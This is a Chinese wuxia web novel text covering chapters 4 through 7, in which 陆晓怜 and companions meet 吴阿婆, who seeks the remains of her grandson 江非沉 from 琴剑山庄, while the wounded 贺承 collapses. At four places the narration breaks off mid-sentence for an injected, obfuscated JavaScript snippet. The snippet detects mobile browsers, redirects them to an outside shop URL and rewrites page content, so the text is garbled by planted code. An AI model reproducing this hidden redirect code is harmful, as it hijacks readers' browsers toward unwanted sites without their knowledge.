贺承低头去看陆晓怜,入眼是她如黑云般的乌发,发髻上簪着一支攒珠镶绿玉的簪子,漂漂亮亮,齐齐整整。 他想起以前,十几岁的少年表达喜欢的方式总是很别扭,他那时候就常常捉弄陆晓怜,把人惹毛了,又要手忙脚乱地去哄。十几岁的贺承别别扭扭,也不大会哄人,不得其法,只会像安抚一只炸毛的猫咪一样拍抚陆晓怜,从头顶到脊背,把她新编的头发揉散了,简直是火上浇油! 后来,还是陆师兄告诉他,想要讨心仪的女孩子欢心,不是这样的。 再后来,他们就长大了,从两小无猜到两情相悦,总是水到渠成,贺承原本也以为他们会这样在青山城里安稳快活地过下去。 可终究是天不遂人愿。 此刻的陆晓怜比她之前每一次发脾气,都让贺承觉得棘手。 她不是炸毛的猫咪,她是不撞南墙不回头的黄牛,她不惜与世人对立,也要翻越山海去撞一撞那堵墙。她本该无忧无虑地生活在青山城里,山下人心险恶,世情凉薄如纸,她要走的这条路沿途风霜雨雪,尽是千夫所指,这些本是她不必承受的,她却为了他义无反顾。 “你——”贺承眼睛发烫,声音发哑,“你就这么相信他?” 陆晓怜毫不犹豫:“是。” “为什么?”贺承抿了下发白的唇,狠着心说下去,“我听说,你的大哥陆兴剑那日也死在青山城无涯洞外。” 念出陆兴剑的名字,贺承只觉得自己的心口像是被凌云剑刺穿了过去,鲜血淋漓,创巨痛深。他想,那一日他的剑尖刺破陆师兄的心脏时,他一定比此刻的自己痛上千百倍,可他没有呻吟出声,咬紧了牙关,最后的低语轻如叹息。 他说:“阿承,要你活下去,实在是苦了你……” 他总是这样,通透,温柔而悲悯。他看得见从苦难的间隙里透出来的光,也看得见笼罩在安宁祥和头顶上的阴霾,所以那日他便知道,他要贺承活着走出那一夜的无涯洞,不是救赎,而是诅咒。 贺承硬着心肠,继续问陆晓怜:“即便如此,你依然相信贺承?依然不恨贺承吗?” 这个问题太过具体,具体到显得刻薄。而陆晓怜只在听见她大哥的名字时,愣了片刻,随后便是轻轻一笑,说得理所应当:“就是因为大哥也死在了那里,所以更不可能是阿承干的啊。” 世人皆知,青山城城主陆岳修的独子陆兴剑清俊儒雅,温润如玉,将同门师弟贺承当做自己的亲弟弟一样疼爱。 所以陆兴剑死在无涯洞外,江湖上人人都道贺承丧尽天良,是喂不熟的狼崽子。 只有陆晓怜不这样想。 只有陆晓怜说,因为陆兴剑死在无涯洞外,所以无涯洞外的杀人者,不会是贺承。 连贺承自己也没有想到,陆兴剑的死,还能有这样一种说法。 他不敢再多问陆晓怜什么,甚至不敢再多看陆晓怜,怕再盯着她看下去,眼里要滚出眼泪来。他狼狈移开目光,生硬地把话题转回那孩子身上:“小孩,你为什么说他们都是坏人?” 此刻,小酒肆大门紧闭。 琴剑山庄的弟子为什么盯上这么个寒酸小酒肆? 他们又为什么会被打上“坏人”的标签? 贺承和陆晓怜他们站在酒肆外面,对酒肆中发生了什么,一无所知。 那孩子看看贺承,又看看陆晓怜,说:“你们跟我来。” 由那孩子带路,他们从临街的一条巷子钻进去,又穿过一段只有一人半宽的小道,最终停在一扇斑驳木门前。站在门前,孩子回过头来,朝跟在自己身后的几个人做了个噤声的动作,才小心翼翼地推开门。 这扇门正通向酒肆的后院,站在天井里,从半撑开的窗子缝隙间,就可以看见酒肆的厅堂。 刚刚走了三桌客人,就迎来了一队琴剑山庄弟子,桌面上的残羹冷炙还没来得及收拾,贺承甚至还看见自己救人时来不及放稳的酒杯,喝醉了似的,歪歪斜斜地横在桌上。 与方才不同,酒肆厅堂中多了位六七十岁的老妪。 她穿一身灰褐色的粗布衣裳,用一方靛蓝色的头巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13134424|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包裹着头发,头发已经白了大半,干瘦的身子也微微佝偻着。她的对面站着刚才走进酒肆的四个琴剑山庄弟子,而店小二与他们并肩而立,也站着老人的对立面。 老人躬着身子,反反复复哀求:“求求你们了,让我接我家阿大回来吧,他娘到死都惦记着他呢!” “老太婆,做人要讲良心。庄主已经给你们一笔钱了,你不要再生事了,快点收拾行李,离开南州城!” 老人从怀里摸出两个银锭,往琴剑山庄的人手里塞:“我没有要钱,我不要这个钱的,落叶归根,我只要接阿大回家!” 十有八九,这钱就是琴剑山庄给的。只是不知道是因为什么缘故,给出来,便不肯收回去。被老人拉住的那人摸到银锭,就像是碰到火一样,着急忙慌地往外推:“听我一句劝,拿了钱快走吧!胳膊拧不过大腿,南州城是琴剑山庄的地界,再闹下去,不仅你大孙子回不来,你小孙子也保不住!” 一边不肯收,一边执意要退。 一边是习武的青壮年,一边是孱弱的老人家,推搡间,他力道没收住,竟生生将老人推到在地。 “祖母!” 眼见老人摔倒在地,躲在后院的小孩再藏不住,贺承他们一时没看住,便由着他从后院的偏门冲进酒肆厅堂,张着短小的手臂挡在老人身前,龇着牙,像一只倔强的小兽:“坏人!不许你们打我祖母!” 他开口闭口总说“不许”,可一个七八岁的小孩嚷嚷着的“不许”,毫无威慑力。 果然琴剑山庄的人并不把他放在眼里,伸出手要来把他拨到一边去。但这是个聪明孩子,刚刚才在外面被人提着衣领拎起来,这回吃一堑长一智,便不再坐以待毙,找准了时机,张嘴往伸到他面前的那只手上狠狠咬住。 “妈的!这孩子属狗的啊!” 被他一口咬住的人抬手想把孩子甩开,可孩子咬住他的同时,双手抱紧了他的手臂,几乎整个人都挂到他身上去。孩子咬得用力,也抱得用力,顷刻间他的虎口已是鲜血横流,此时硬要将紧紧扒在他身上的孩子甩开,非得从手上生生扯掉一块肉不可。 同行的琴剑山庄弟子见状,自然要上来帮手。可刚刚往前迈出一步,就被一柄碧色油纸伞拦住了—— 第二个沉不住气的,果然是陆晓怜。 她也是吃一堑长一智,不敢轻易再亮出横秋剑,只收起油纸伞,握在手里当做武器。她将纸伞一横,握着伞柄正中往前迈几步,使着巧劲儿一推,将准备上前帮手的三个人齐齐往后推了两步远,再没法助纣为虐伤害那孩子。 之后,她轻轻巧巧斜跨一步,拦腰抱住咬人的孩子,沉声命令他:“松口。” 被咬伤的人捂着流血的手掌,斜眼看陆晓怜:“你是谁?” “我是谁不重要,重要的是,街上的人知道你们是谁,也亲眼见着你们进了这家店。”她眉眼弯弯,笑得温良无害,伸着手里的油纸伞轻轻一挑,将桌上的一只空酒坛子顶在伞尖上,手腕一抖,酒坛凌空而起,下一刻就被她接在手里。 “什么意思?” 陆晓怜伸出手指弹弹酒坛子:“还没明白过来吗?街上的人都看见了,这里除了老板、小二,便只有你们。如果这家小酒肆被人砸了,你说,是不是理所应当要算在你们琴剑山庄头上?” 5. 第五章 江家村 砸一家酒肆虽然算不得大事,可此时的南州城里遍地是应邀而来的江湖中人,此事一出,琴剑山庄欺凌弱小的名声必然不胫而走,有悖其剑胆琴心、礼乐仁义的盛名。 所以,若不是有孩子陡然冲出来咬人,那几个琴剑山庄弟子也没想着要动手,此刻被陆晓怜一句话点醒了,立即卸下刚刚攒出来的力气,各自垂手而立。 几句话的功夫,孩子已经将他的祖母扶了起来,乖乖巧巧躲在陆晓怜身后。 陆晓怜捡起推搡中掉在地上的两个银锭,不由分说塞进琴剑山庄弟子手中:“既然人家不要这个,你们就收回去吧,掳了人家家里的什么人,也快点送回来。最近南州城里这么多人,要是闹到试琴会上,琴剑山庄的脸面也不好看吧。” 那人不情不愿地接了银锭,横了他们一眼,冷笑道:“闹到试琴会上?你以为试琴会是谁都去得的?你们有邀帖吗?” 说到试琴会的邀帖,陆晓怜就来气。 试琴会的邀帖有两种。 一种是完完整整写了受邀者名字的,用于邀请各门各派掌门和江湖名士,一般会在试琴会开始前三个月开始,由琴剑山庄弟子亲自送到受邀者手中。收到这种邀帖的人,到了南州,大多是被琴剑山庄庄主或是有名有姓的弟子迎进庄子里盛情款待的。 相比之下,另一种不署名字的邀帖便潦草许多。形式上更像是戏院的进场红票,大多分发给各门派无法随掌门入住琴剑山庄的普通弟子,他们虽居住在山庄之外,但是试琴会当日,可凭着这张帖券进到琴剑山庄参与盛会。 青山城作为四大门派之首,往年都是由卓弘明最器重的那几个弟子亲自上门送的邀帖。可今年,莫说是被迎进琴剑山庄了,青山城连不署姓名的邀帖都没有收到。 见陆晓怜沉默着没接上话,与说话人同行的琴剑山庄弟子附和:“师兄还是别说了,他们怕是连邀帖长什么样子都没见过吧!” 陆晓怜心中冷笑,她不仅见过邀帖,她还在他们琴剑山庄里住过呢! 上一轮试琴会在七年前,陆晓怜那时年纪还小,从青山城到琴剑山庄路途遥远,陆岳修原本是不打算带着她的。可她不想与尽日形影不离的贺承、陆兴剑分开,磨了好久,才让陆岳修松了口,捎上她一起出发。 那年来南州城,不是在细雨如烟、春景正盛的三月。 那年父亲走在最前面引着路,大哥怕她走丢怕她怯人,全程拉着她的手。贺承那时年纪也小,行事幼稚得很,一路上跟她叽叽喳喳闹得不可开交。 她记忆里的南州城没有下不完的雨,没有散不去的雾,清水河上波光粼粼,全是跳跃的阳光。而如今故地重游,大哥已经身死无涯洞外,父亲还是不知所终,师兄贺承已长成稳重可靠的大人,却被指做滥杀无辜的大恶人。 南州城里清水河依旧涓涓东流,可陆晓怜已经不会再是七年前的陆晓怜了。 大概这便是诗里说的,终不似,少年游。 藏身在后院的钟晓见他师姐被人欺负,气得便要冲到里间去。可他心念只稍稍一动,脚步还没迈出去,就有一只手搭在自己肩上,将自己摁住。 是站在旁边的那个“死人脸”。 钟晓正想拍开那只手,就听见他压低了声音说话:“琴剑山庄最初级的弟子罢了,要是动手,在晓怜手上占不到便宜。不过逞几句口舌之快,我们不急着出去。” 钟晓一边觉得他说得有理,一边又觉得奇怪—— 这人分明与他们刚刚见面,话都没说几句,哪里来的一幅对他师姐无比熟悉的样子,连喊出“晓怜”这个名字,都稀松平常得像是喝水吃饭。 钟晓迟疑着问:“你跟我师姐很熟吗?” 贺承疑惑地看过来,钟晓补充道:“我就是觉得,你刚刚说话的样子,好像很了解我师姐。” 经钟晓这一提醒,贺承才反应过来,作为一个今天才见面的陌生人,自己刚刚确实表现得太过热络。他稍稍愣住,脑子里飞速闪过千万种掩盖的说辞,却无一适用于此情此景,在钟晓询问的目光中,硬着头皮开口:“我……” 好在他的话只起了个头,就被里间气急败坏的声音打断:“你们最好别想着要生事!” 贺承顺势闭了嘴,示意钟晓往屋子里看。 在他们两个人走神的片刻间,屋子里的两拨人不知道又聊了什么,此时琴剑山庄的那几人明显是落了下风,留了句话,便悻悻推门而出,铩羽而归。 店小二伸着脖子犹豫了片刻,也跟在他们身后离开。 酒肆厅堂里只剩下陆晓怜一个外人,帮着小孩扶老人坐到凳子上去。 许是琴剑山庄的人来过许多回,那老人已如惊弓之鸟,贺承和钟晓从后院小门走入厅堂时,她瘦小的身子猛然抖了一下,下意识把小孩往自己身后拉,浑浊发黄的眼睛看过来,目光中尽是防备警惕。 小孩挣脱老人的手,从她身后钻出来:“祖母,他们不是坏人。”他指着贺承特别强调:“那个哥哥刚刚还救了我。” 闻言,老人扶着桌子颤颤巍巍地站起身向贺承鞠躬道谢。 贺承三步并作两步上前扶住老人,不由愣了一下。 刚刚隔着窗子,他便觉得这老人有些眼熟,此时靠近了看,更觉得似曾相识,可在脑子里搜刮了一圈,也没翻出他何时认识过一个在南州开酒肆的老太太。 他三言两语说明了他们为何会躲在她家后院,接着问她:“老人家,你不过是开一家小酒肆营生,怎么会招惹上琴剑山庄?” 老人看看贺承,又看看陆晓怜和钟晓,叹了口气,边示意小孙儿去倒茶,边招呼他们在桌边坐下:“这事说起来,话就长了……” 老人姓吴,一家人原本住在南州三四十里地外的江家村,举家来到南州城,是为了她的另一个孙儿。 许多年前,他们住在的村子遭遇水灾,琴剑山庄弟子赶来帮着填堵溃口,帮着疏散村民,洪水退去,还按每户人家余下的人口,挨家挨户送粮食接济。 可大灾之后,一片狼藉。 不仅是地里快要成熟的庄稼被水冲走了,许多村民家里的男人扛起沙石去堵堤岸,也再没有回来。老人的儿媳刚刚生下幼子,却因为吃不上东西一点奶水都没有,襁褓中的孩子更是饿得连哭的力气都没有。 琴剑山庄弟子上门时,老人还未满月的小孙儿闹得正凶,眼泪大颗大颗滚出来,哭声却细弱得像只小猫。他们送来了救命的粮食,还看中了老人家已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13134425|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经长到了十岁上下的长孙,担心老人家里只剩老弱妇孺,养不活两个孩子,问老人愿不愿意让大些的这个孩子同他们回琴剑山庄习武,以后也算是有安身立命的本事。 灾荒之年,岂能万事顺心? 虽说骨肉分离,但能活下来,总归是好的。 于是,老人狠下心,眼睁睁看着她亲手拉扯到十岁的孩子一步三回头地走出家门。 那年,琴剑山庄带走了江家村里的不少孩子,后来陆陆续续送回来了一些。听说有的是胆子小,有的是天赋差,总之是习不了武,在山庄里留不下来了,只好每个人给些银两,送回家里来。 被送回来的孩子都被养得干净白胖,问他们在琴剑山庄里的事情,八九岁的孩子也说不清,只说每天吃得饱穿得暖,有人带着练些基本功,实在是没吃什么苦。大人们只当他们是烂泥扶不上墙,不轻不重地骂几句,便接回家里继续养。 古怪的是,这些被送回来的孩子有许多活不长,他们回来后便常常生病,拖拖磨磨地治,最终能活下来还不到一半,勉强活下来的那几个孩子,也落下了各种各样的病根。 村里人都说,这些孩子在琴剑山庄过惯了好日子,回到村里过苦日子便受不住了。 吴阿婆觉得这像是一道难以逃脱的诅咒,她既想见孙儿一面,又怕孙儿被琴剑山庄的人送回来,最终难逃一死,这样提心吊胆地过了一年又一年,终于等到一个模样清俊、身形颀长的少年敲开了家门。 “这便是您当年被带走的孙儿吗?”钟晓问。 “是啊。”回想到与孙儿重逢那日,老人脸上的皱纹都短暂地舒展开来,“我家阿大争气,当年江家村那么多孩子被带走,最后只有他留了下来,还因为有本事,被琴剑山庄庄主认作义子,带在身边养着……” “咣当”一声,老人的话音被茶杯陡然滑落的声音打断。 酒肆的门一直关着,外间街道上的喧嚣传不进来,酒肆厅堂里异常安静,茶杯落在桌上的闷响都显得突兀刺耳。所有人的目光都从老人身上挪开,齐刷刷落到贺承身上。 贺承后悔不已—— 要是知道自己此时连端起一杯茶的力气都没有,他就算渴死,也不会去碰那只茶杯。 钟晓微微侧头,打破沉默:“怎么了?” 贺承已经有些坐不稳,他扶在桌沿的手隐隐有些发抖,强撑着站起身:“没什么,突然想起我还有事,得先走一步。” 什么事这么突然?陆晓怜忍不住挑眉,忍不住拿话激他:“这么急着走吗?不会是因为婆婆的事与琴剑山庄有关,你便不敢管了吧?” 贺承急着离开,没有承认,也不同陆晓怜争辩,只一声不吭地朝门外走去。他知道自己拖着这样一副身子,又是救人,又是跟他们风里来雨里去地跑,是有些托大了,只求仅剩的一点力气能支撑着自己离开这里,至少倒在他们视野之外。 可贺承终究没能走到他们的视野之外。 他穿过小门,脚步虚浮地走到后院,外面是白晃晃的一片天光,冷雨打在身上,像是下钉子一样,冷痛丝丝缕缕往骨头缝里钻。咽下喉咙里的腥气,他抵着唇轻轻咳嗽一声,胸腔被震得发疼,眼前陡然一黑,便什么也不知道了。 6. 第六章 旧伤 酒肆的主人一老一少,看着一个大活人毫无预兆地倒在自家后院,登时便乱了阵脚。好在陆晓怜和钟晓也在场,两人胸中尚有侠义,断不会袖手旁观,一边请吴阿婆收拾房间安顿昏迷不醒的人,一边让阿婆的小孙儿去街上请大夫。 贺承倒在雨中,浑身湿透,钟晓作为此间唯一的男子,自然由他上手给贺承换衣服。 这并不是多难的事。在青山城中,与师兄弟同吃同住,免不了有人宿醉不醒,有人生病受伤,不方便时互相帮忙更衣是常有的事。 江湖儿女刀尖上行走着,身上带着伤是难免的事,可钟晓褪下今天刚刚认识的这个“死人脸”湿透了的里衣,竟被他满身伤痕惊得愣住当场。 之前靠几层衣服虚张声势地撑着,钟晓还不觉得,此时褪尽衣物,才发现这人竟然这样消瘦。毕竟是习武之人,虽然消瘦,却依然可以看出肌肉漂亮紧致的纹路,本不至于让人觉得他过分孱弱,可他周身的皮肤异常苍白,无声无息地躺在那里,整个人像是气血枯竭耗尽一般没有一点生气。 细看他身上长短不一的伤痕,钟晓发现,这些伤痕大多不是鲜血淋漓的新伤,却也不是年深日久的旧伤,疤痕大多是稍深的淡粉色,应该是血痂掉落不久的新生皮肉。伤疤狰狞,依稀可以想见当时的险象环生。 钟晓不知道这人是打哪里来的,更不知道他身上怎么会有那么多伤,可看着长长短短、重重叠叠的伤痕,仍觉得触目惊心。 虽然不通岐黄之术,但习武之人熟记经脉穴位,钟晓勉强能看明白几分他身上的伤。 仔细再看,他赫然发现,这人身上最要紧的是精准命中膻中、神阙、中脘等几处要穴的怪伤。这几处伤,伤口极为诡异,看着不像被刀剑所致,大概是被什么人仔细料理过,伤处微微隆起,疤痕却齐整漂亮。 伤在这样的地方,一处便可致命,可这人身上竟有七八处之多! 钟晓不知他得罪过什么人,竟被下这样的狠手,更不知道受了这样重的伤,他究竟是怎么活下来的! 在酒肆外初初见面,钟晓就对这人心生好奇。 他究竟是谁?此时来到鱼龙混杂的南州城,他究竟是敌是友?轻功绝佳,却被陆晓怜一推即倒,他的武功究竟是虚是实? 如今见了这一身伤,钟晓好奇心更甚,借着他人事不省的机会,悄然扣上他的手腕,缓缓打入一缕细细的真气,想要探一探他的内功路数。 钟晓控制着自己的内息,小心翼翼寸寸推进。 这人也是习武之人,真气入体,即使昏迷之中,经脉中兀自流转的内息也会出于本能阻挡抵抗。可钟晓没有料到,此人经脉中竟然空空如也,他打入的那一脉内息没受到丝毫阻挡,毫不费力地长驱直入。 怎么可能?即便是普通人,经脉之中也不至于这样空荡。 钟晓不死心,拧紧眉头,引着自己的内息,顺着他的任脉缓缓推进,一直走到膻中穴附近,真气倏尔受阻,像是在甬道中陡然遇见了一扇拦路的门。 原来是在这里等着吗? 这人竟自己的经脉里唱了一出空城计? 所以他用这扇门掩盖着什么? 钟晓目光一凝,咬牙加了一两分力气,试着往前再推。 那扇拦路的门并未上锁,钟晓稍稍用力,便能将门推开。他无意伤人,冲破这一道关隘,即刻收回增上去的那一两分力气,待要再沿着经脉缓缓推进内息,却见床榻上的人闷哼一声,单薄的身子猛然一颤,唇齿微动呛出了一口血。 突生变故。 钟晓被吓了一跳,指掌间的内息登时乱了分寸,着急忙慌地往回收。回撤时,内息又行过贺承膻中穴附近的经脉,再次强行撞开那扇拦路的门。 与来时的小心翼翼不同,此刻的钟晓称得上是丢盔弃甲慌不择路,经脉中真气激荡,床榻上的人竟生生被痛醒过来。 他闷哼一声,猛地喷出一口血,遽然睁开眼。 黑沉沉的眼瞳迟钝地转了两圈,漫上痛色。许是觉察到身边有人,他吃力偏过头来,半眯着眼,默不作声地盯着钟晓看。 他极度虚弱,声音轻得像是风一吹就散了:“你?你在做什么……” 钟晓做贼心虚,声音都在抖:“我不是有意伤你,我,我也没想到会这样!抱,抱歉!” 无论有意无意,终究是他趁人之危。钟晓虽然这样说,心里还是愧疚得厉害。 可听了他这话,痛得冷汗涔涔的人却像是松了口气。他无力地阖了下眼,又强打精神睁开,语气无奈而纵容:“没事……你也不是小孩子了,往后行事,稳重些……” 他的声音依旧很轻,最后几个字弱得只剩含在唇齿间的气音。等不及钟晓应声,他的目光又暗下去,薄薄的眼皮落了下来,再度陷入昏迷。 钟晓正手足无措,响起了一阵敲门声。 陆晓怜在外面问:“钟晓,你好了没有?大夫来了。” 钟晓应了一声,手忙脚乱抹去贺承唇边的血迹,起身开门,将外面的人迎进来。 大概是陆晓怜他们已经把情况同大夫说明过,大夫放下药箱,并未多问,摆上脉枕便开始给贺承切脉。他切脉的三根手指在贺承腕上挪了好几个位置,越挪,眉头皱得越紧,诊完脉,一言不发地开始收拾东西。 陆晓怜心急,追着问:“他究竟怎么了,您倒是说话呀!” 被她一问,大夫收拾东西的速度更快了许多:“他的脉象太奇怪了,我治不了,你们还是另请高明吧。”说着,他将药箱一盖,提着便往外走。 几个人跟着大夫一路追到院子里,小孩堵在院门不让他出去。 吴阿婆颤颤巍巍地跟出来:“张大夫,你是咱们这几条街上最好的大夫,怎么会连你都治不了?那孩子看着还很年轻,还是救了我家阿小的恩人,你救救他吧。” 看在吴阿婆的面子上,张大夫停下脚步:“阿婆,他的脉象已有七分死相,这要是您家里人,我自然是敢试一试的,可这几个都是生人啊……”他迟疑地看了眼半步之外的陆晓怜和钟晓,压低声音:“您听我一句劝,雇辆马车,让他的朋友赶紧把人带走,万一人死在您店里,又落了把柄给琴剑山庄。” “不行啊,这人还病着呢,外面又是风又是雨的,哪里受得住。” 张大夫摇头:“我言尽于此,您看着办吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆晓怜心中不无嫌弃,可转头看见身边的一老一幼,满肚子的牢骚又咽了回去。这家酒肆的主人,老的老,小的小,能开张接客,已经很不容易。 许是吴阿婆心思细腻,又许是长久的沉默令人尴尬,陆晓怜第二次盯着角落里的小蘑菇看时,吴阿婆出声解释:“原本是打算把一段栏杆换掉的,可是后来出了一点事耽搁了,没想到今年雨水这么多,湿气太重了。” 陆晓怜笑笑,随口应和:“是啊,春日雨水多,湿气就是重。” 吴阿婆没话找话地同她聊:“姑娘不要见怪呀,其实张大夫人很好的,只是前些日子给人看病吃了亏,见到生人,就多些防备。” “给人看病吃了亏?” “是,从琴剑山庄里送出来的孩子,才不到十岁。也不知道他们山庄里教孩子习武,怎么会把人打成那样,孩子伤得太重,在张大夫的医馆里躺了半个月,最终没救回来,可将孩子送来的那人,非说是张大夫把孩子给治死了,闹了好久。” “琴剑山庄?”陆晓怜重复了一遍,突然想起,“说起来,您老老实实地开着酒肆,究竟是怎么跟琴剑山庄结下梁子的?” 7. 第七章 江家阿大 陆晓怜开了口问,吴阿婆索性把刚刚被打断的往事继续说下去。 村里人不认得多少字,吴阿婆两个孙儿的名字起得极为简单,年纪大的叫阿大,年纪小的叫阿小。阿大离家后数年,长到了十三四岁,在琴剑山庄站住了脚跟,才凭着记忆找回家里来。他不想再与家人分离,便把年迈的祖母、多病的母亲和年幼的弟弟都接到南州城里生活。 再后来,他在试琴会上夺了魁,被琴剑山庄卓庄主认作义子,他深得卓庄主爱重,庄主嫌弃他原先的名字粗陋,给他起了个名字叫非沉。 非沉,非沉,非沉寂于池中之物,当扶摇直上九天。 “江非沉是您的孙儿!”陆晓怜脱口而出,“可他已经——”她心直口快,话到嘴边才觉得不妥,又生生咽了回去。 吴阿婆苦笑,替她把后半句话说完:“是,他已经死了。”她混浊的目光看着檐角落下的清亮雨水,幽幽一叹:“我与琴剑山庄没什么恩怨,我 不过是想要回阿大的尸骨,带他回家,将他葬在他父母身边罢了。” 江非沉确实是死了,半年前,死在青山城。 关于这件事,陆晓怜一向是理不直气也壮,要与那些给青山城、可贺承安排罪名的人论个曲直,可在江非沉的亲人面前,她实在是说不出话来。 陆晓怜难得软下态度,哑声说:“抱歉。” 她愿意向吴阿婆低头并不意味着心虚,只是她觉得吴阿婆死了失而复得的孙儿,总该让她有个能怨、能恨的人。 吴阿婆却苦笑着摇头:“你道什么歉?我家阿大又不是你害死的。” 陆晓怜不想瞒她:“您可能也听说了,江非沉死在青山城。我是青山城弟子,这事虽尚未定论,他的死未必是我青山城所致,但毕竟事情发生在青山城,我很抱歉。” 闻言,阿婆目光陡然一亮:“你是青山城弟子,那你是不是认识贺承?” 她身份特殊,提到贺承的名字,陆晓怜顿时警觉起来。吴阿婆不在江湖中,可南州城里往来的江湖人太多,她的酒肆虽小,却也应该能听说不少传言,陆晓怜不知道,她忽然问起贺承,究竟想做什么。 阿婆是个通透的人,觉察到陆晓怜的迟疑,连忙补充:“我没有别的意思,是阿大离开南州时给了我一封信,说他若没有回来,让我把这封信交给贺承。我知道,他们都说是贺承害了阿大,可我总觉得,应该不是这样的。” “所以,您也觉得并不是贺承害了他?” “我不知道,可许多年前阿大带贺承来家里吃过饭,我就知道他是个好孩子。他帮了我们家很大忙,我觉得他至少不会无缘无故害阿大。” 与吴阿婆聊得越多,陆晓怜越觉得自己对贺承的了解少得可怜。青山城与南州城相隔上千里,贺承怎么会认识南州城里的一位寻常老婆婆?还能帮得上吴阿婆很大忙? 陆晓怜直接了当地问:“您说,他帮了您?” 阿婆点头,她看得出陆晓怜的困惑,索性从头讲给她听—— 贺承是七年前跟着青山城陆城主来南州参加试琴会时认识的江非沉,两人年岁相仿,十四五岁的少年最是心高气傲,相见时互不相让,交手后惺惺相惜,算是不打不相识。 他们相识时,试琴会还没办,江非沉还没在试琴会上一鸣惊人,只是琴剑山庄地位低下的后山弟子,要供养年迈的祖母、多病的母亲和年幼的弟弟生活拮据非常。那时江非沉的弟弟才两三岁,生了重病,连抓药的钱都没有。 恰好是遇见了贺承,他仗义疏财,不仅把自己的钱袋翻了个底朝天,连从不离身的凌云剑也被压在当铺好几天。凌云剑换来的钱治好了江非沉的弟弟,贺承却因为典当佩剑这事,被师父责罚,在院子里跪了一夜。 后来,江非沉在试琴会上一战成名,更被卓庄主认为义子,俨然当作接班人培养。江家祖孙三人的日子渐渐好过起来,吃穿用度倒是不缺,可贺承远在千里之外,却总惦念着当年险些夭折的江阿小,听说有人来往于青山城与南州之间,便会托人带点木剑、连环一类的小物件,由江非沉转交给孩子把玩。 陆晓怜这才知道,她的师兄朋友遍天下,虽然明面上看不出他与江非沉有多深的交集,其实这些年来他们私下里的往来并不少。 无涯洞外的死伤者中,先有与贺承情同手足的陆兴剑,再有与贺承私交甚笃的江非沉,这件事越发蹊跷起来。 吴阿婆不知陆晓怜心中所想,只顾着回忆往昔:“贺承那时也还是大点的孩子罢了,他掏光身上所有值钱的东西帮我们,拦都拦不住。他说,看到阿小就想到他弟弟小时候,要是他们小时候能遇见个好人,让他弟弟少吃些苦就好了。” 听到这里,陆晓怜了然一笑,喃喃自语:“怪不得。” “什么怪不得?” “贺承确实是有个弟弟,他也确实是待他弟弟很好。听说当年他们兄弟二人被师叔找到时,正在喝一碗稀粥。他守在门口怕人来抢,等他弟弟喝光了那碗粥,他才舍得舔一舔碗底的米汤。” 陆晓怜的形容让吴阿婆想起两个孙儿:“也是一起吃过苦的兄弟,那他们兄弟的感情一定很好,跟我家阿大和阿小一样。” 陆晓怜不置可否地笑笑,似乎不愿多提贺承的弟弟,转而追问起江非沉留给贺承的那封信:“阿婆,如今贺承师兄不知身在何处,若是信得过我,江将非沉留下的那封信,您不如就交给我。” 确如吴阿婆所说,既然江非沉出发青山城之前留了信,很可能当时他便料到自己无法顺利从青山城回来。那么这封信,便极有可能提及他的仇家,顺藤摸瓜,兴许便能摘掉些许贺承身上的污点。 吴阿婆很快也想到了这节:“你们若真是与贺承相熟的青山城弟子,我自然可以将信给你,可你们能不能帮我一个忙?” 陆晓怜不置可否,等着她继续说下去。 她看着陆晓怜,期期艾艾:“你们能不能帮我将阿大的尸骨要回来。他母亲原本就在生病,阿大出事后,不到一个月,也没了,咽气前心心念念的,就是没能见上阿大最后一面。” “落叶归根,人之常情。”陆晓怜柳眉微蹙,“琴剑山庄为什么不肯将江非沉的尸骨送回江家,莫不是江非沉的尸骨还藏了什么秘密?” “姑娘可愿意帮我?” 陆晓怜眉眼一扬:“假如江非沉的尸骨当真与那夜无涯洞外的真相相关,即便您不提,我也是要到琴剑山庄去一探究竟的。” 话到这里,两人各取所需,各自如愿,张大夫也正好推门出来。 吴阿婆问:“张大夫,他怎么样?” “五内皆衰,经脉俱损,即便还能勉强吊着一口气,按说也该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13134427|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧床不起。可他如今不仅能下地行走,甚至还能动武,虽不知道他是用了什么法子,但我猜终归不是什么正经好办法。”张大夫摇头,“眼下给他施了针,迟些便能醒过来,可我能力有限,还是治标不治本。待他醒了,你们同他说,若想保命,便去百花谷找神医夫妇碰碰运气。” 